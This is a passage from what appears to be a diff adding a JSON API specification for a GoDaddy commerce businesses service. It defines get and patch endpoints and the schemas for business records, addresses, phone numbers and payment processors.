"https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "externalMerchantId": { + "description": "This is the unique identifier assigned by the acquirer to the business. It is a business level MID.", + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "underwritingLevel": { + "description": "The application level of the business for underwriting.", + "enum": [ + "BASIC", + "FULL" + ], + "maxLength": 16, + "type": "string" + } + }, + "required": [ + "acquirer" + ], + "title": "Business Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "scrubbed": { + "description": "Indicates if business information is scrubbed to protect privacy of the merchant.", + "readOnly": true, + "type": "boolean" + }, + "sic": { + "description": "The standard industry code of the business. (https://siccode.com/sic-code-lookup-directory)", + "maxLength": 16, + "type": "string" + }, + "status": { + "description": "It is set to ADDED as soon as the business is added into the system. Moved to ACTIVATED once the first terminal is activated. It may move to LOCKED if for whatever reason, operations need to be stopped. It is moved to CLOSED if the business is closed for good.", + "enum": [ + "ADDED", + "ACTIVATED", + "LOCKED", + "CLOSED" + ], + "type": "string" + }, + "subscribedBundles": { + "deprecated": true, + "description": "The list of bundles this business has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/business-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "$id": "https://godaddy.com/schemas/common/time-zone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A time zone, in [Internet Assigned Numbers Authority (IANA) time zone (tz) database format](https://www.iana.org/time-zones). A valid value is `America/New_York` or `Etc/UTC`. Do not use ambiguous, non-qualified tz database values, such as `EST` or `GB`. Before you include this type in your interface, consider whether it is appropriate to convey time-zone information with your type. At the time of display to the user, transform this value from UTC. Typically, this type is associated with user-preference APIs.", + "maxLength": 127, + "minLength": 1, + "type": "string" + }, + "type": { + "default": "MERCHANT", + "description": "The type of business. Use TEST_MERCHANT to create a business for testing purpose, and MERCHANT otherwise.", + "enum": [ + "MERCHANT", + "TEST_MERCHANT" + ], + "type": "string" + }, + "updatedAt": { + "description": "Last updated time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "description", + "doingBusinessAs", + "legalName", + "timezone" + ], + "title": "Business", + "type": "object" + } + } + }, + "scopes": [ + "commerce.business:create" + ] + }, + { + "operationId": "getBusinessById", + "method": "GET", + "path": "/businesses/{businessId}", + "summary": "Get a business by businessId", + "description": "This endpoint can be used to retrieve the information of a specific business using the Business ID.", + "parameters": [ + { + "name": "businessId", + "in": "path", + "required": true, + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "includeFields", + "in": "query", + "required": false, + "description": "This is the list of fields that will be included in the response", + "schema": { + "items": { + "type": "string" + }, + "type": "array" + } + }, + { + "name": "storeDeviceId", + "in": "query", + "required": false, + "description": "Store Device ID", + "schema": { + "type": "string" + } + }, + { + "name": "ignoreDeactivatedDevices", + "in": "query", + "required": false, + "description": "Ignore any deactivated devices when applying this filter", + "schema": { + "default": true, + "type": "boolean" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/error.json" + } + }, + "200": { + "description": "Business Found", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/business.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Business resource represents a merchant business", + "properties": { + "activeSince": { + "description": "This is a response only field. It is set internally and returned in response. The time (in ISO-8601 format) at which the first terminal at the business was activated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "attributes": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "businessUrl": { + "description": "The url of the business' website.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "closedAt": { + "description": "Details on when the business was closed.", + "format": "date-time", + "type": "string" + }, + "closingDetails": { + "description": "Details on why the business was closed.", + "type": "string" + }, + "closingReason": { + "description": "The reason why the business was closed.", + "enum": [ + "TERMINATED", + "CHURNED", + "DUPLICATE" + ], + "type": "string" + }, + "createdAt": { + "description": "Creation time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "description": { + "description": "A short description of the business.", + "maxLength": 512, + "type": "string" + }, + "doingBusinessAs": { + "description": "The name the business likes to be known as.", + "maxLength": 128, + "type": "string" + }, + "domicileCountry": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "emailAddress": { + "description": "The main business email address.", + "maxLength": 512, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "industryType": { + "deprecated": true, + "description": "The industry type that this business belongs to. (Retail, Restaurant, Lodging, MOTO etc.)", + "readOnly": true, + "type": "string" + }, + "legalName": { + "description": "The legal name of the business.", + "maxLength": 128, + "type": "string" + }, + "logoUrl": { + "description": "The business' main logo url.", + "format": "uri", + "maxLength": 1024, + "type": "string" + }, + "mcc": { + "description": "The merchant category code of the business in ISO 18245:2023 format (Refer https://www.citibank.com/tts/solutions/commercial-cards/assets/docs/govt/Merchant-Category-Codes.pdf)", + "maxLength": 16, + "type": "string" + }, + "organizationId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "ownerId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "paymentDetails": { + "$id": "https://godaddy.com/schemas/commerce/business-payment-details.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "Contains payment details used by the business.", + "properties": { + "acquirer": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "externalMerchantId": { + "description": "This is the unique identifier assigned by the acquirer to the business. It is a business level MID.", + "type": "string" + }, + "processor": { + "$id": "https://godaddy.com/schemas/commerce/business-processor.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor to be used by business", + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "title": "Business Payment Processor", + "type": "string" + }, + "processorData": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "underwritingLevel": { + "description": "The application level of the business for underwriting.", + "enum": [ + "BASIC", + "FULL" + ], + "maxLength": 16, + "type": "string" + } + }, + "required": [ + "acquirer" + ], + "title": "Business Payment Details", + "type": "object" + }, + "phone": { + "$id": "https://godaddy.com/schemas/commerce/phone-with-type.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Contact Phone", + "properties": { + "details": { + "$id": "https://godaddy.com/schemas/common/phone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", + "properties": { + "countryCode": { + "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 3, + "minLength": 1, + "pattern": "^[0-9]{1,3}?$", + "type": "string" + }, + "extensionNumber": { + "description": "The extension number.", + "maxLength": 15, + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" + } + }, + "required": [ + "countryCode", + "nationalNumber" + ], + "title": "Phone", + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/common/phone-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The phone type.", + "enum": [ + "FAX", + "HOME", + "MOBILE", + "OTHER", + "WORK" + ], + "title": "Phone type", + "type": "string" + } + }, + "required": [ + "details" + ], + "title": "Phone with Type", + "type": "object" + }, + "scrubbed": { + "description": "Indicates if business information is scrubbed to protect privacy of the merchant.", + "readOnly": true, + "type": "boolean" + }, + "sic": { + "description": "The standard industry code of the business. (https://siccode.com/sic-code-lookup-directory)", + "maxLength": 16, + "type": "string" + }, + "status": { + "description": "It is set to ADDED as soon as the business is added into the system. Moved to ACTIVATED once the first terminal is activated. It may move to LOCKED if for whatever reason, operations need to be stopped. It is moved to CLOSED if the business is closed for good.", + "enum": [ + "ADDED", + "ACTIVATED", + "LOCKED", + "CLOSED" + ], + "type": "string" + }, + "subscribedBundles": { + "deprecated": true, + "description": "The list of bundles this business has subscribed to.", + "items": { + "$id": "https://godaddy.com/schemas/commerce/business-bundled-features.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "deprecated": true, + "description": "This is the base object for the list of features a business/store has subscribed to.", + "properties": { + "createdAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "featureConfig": { + "$id": "https://godaddy.com/schemas/commerce/business/dictionary.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "featureList": { + "description": "List of features the bundle contains.", + "items": { + "type": "string" + }, + "maxItems": 80, + "type": "array" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "name": { + "description": "Name of bundle.", + "maxLength": 64, + "type": "string" + }, + "type": { + "description": "The type of the bundle.", + "type": "string" + }, + "updatedAt": { + "description": "This is a response only field. The time (in ISO-8601 format) at which the bundle was updated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "featureList", + "id", + "name" + ], + "title": "Bundled Features", + "type": "object" + }, + "type": "array" + }, + "timezone": { + "$id": "https://godaddy.com/schemas/common/time-zone.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A time zone, in [Internet Assigned Numbers Authority (IANA) time zone (tz) database format](https://www.iana.org/time-zones). A valid value is `America/New_York` or `Etc/UTC`. Do not use ambiguous, non-qualified tz database values, such as `EST` or `GB`. Before you include this type in your interface, consider whether it is appropriate to convey time-zone information with your type. At the time of display to the user, transform this value from UTC. Typically, this type is associated with user-preference APIs.", + "maxLength": 127, + "minLength": 1, + "type": "string" + }, + "type": { + "default": "MERCHANT", + "description": "The type of business. Use TEST_MERCHANT to create a business for testing purpose, and MERCHANT otherwise.", + "enum": [ + "MERCHANT", + "TEST_MERCHANT" + ], + "type": "string" + }, + "updatedAt": { + "description": "Last updated time of the business.", + "format": "date-time", + "readOnly": true, + "type": "string" + } + }, + "required": [ + "type", + "description", + "doingBusinessAs", + "legalName", + "timezone" + ], + "title": "Business", + "type": "object" + } + } + }, + "scopes": [ + "commerce.business:read" + ] + }, + { + "operationId": "patchBusiness", + "method": "PATCH", + "path": "/businesses/{businessId}", + "summary": "Update business information", + "description": "Update business information details using the Business ID.", + "parameters": [ + { + "name": "businessId", + "in": "path", + "required": true, + "schema": { + "$ref": "./common-types/v1/uuid.json" + } + }, + { + "name": "X-Request-Id", + "in": "header", + "required": false, + "description": "Request ID", + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "includeFields", + "in": "query", + "required": false, + "description": "This is the list of fields that will be included in the response", + "schema": { + "items": { + "type": "string" + }, + "type": "array" + } + }, + { + "name": "storeDeviceId", + "in": "query", + "required": false, + "description": "Store Device ID", + "schema": { + "type": "string" + } + }, + { + "name": "ignoreDeactivatedDevices", + "in": "query", + "required": false, + "description": "Ignore any deactivated devices when applying this filter", + "schema": { + "default": true, + "type": "boolean" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "items": { + "$id": "https://godaddy.com/schemas/common/patch-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An array of JSON patch objects to apply partial updates to resources.", + "items": { + "$id": "https://godaddy.com/schemas/common/patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The JSON patch object to apply partial updates to resources.", + "properties": { + "from": { + "description": "The JSON pointer to the target document location from which to move the value. Required for the `move` operation.", + "type": "string" + }, + "op": { + "description": "The operation to complete.", + "enum": [ + "add", + "remove", + "replace", + "move", + "copy", + "test" + ], + "type": "string" + }, + "path": { + "description": "The JSON pointer to the target document location at which to complete the operation.", + "type": "string" + }, + "value": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "integer" + }, + { + "type": "string" + }, + { + "type": "boolean" + }, + { + "items": {}, + "type": "array" + }, + { + "type": "object" + } + ], + "description": "The value to apply. The `remove` operation does not require a value.", + "nullable": true + } + }, + "required": [ + "op" + ], + "title": "Patch", + "type": "object" + }, + "title": "Patch Request", + "type": "array" + }, + "type": "array" + } + }, + "responses": { + "200": { + "description": "Business updated", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/business.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Business resource represents a merchant business", + "properties": { + "activeSince": { + "description": "This is a response only field. It is set internally and returned in response. The time (in ISO-8601 format) at which the first terminal at the business was activated. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal 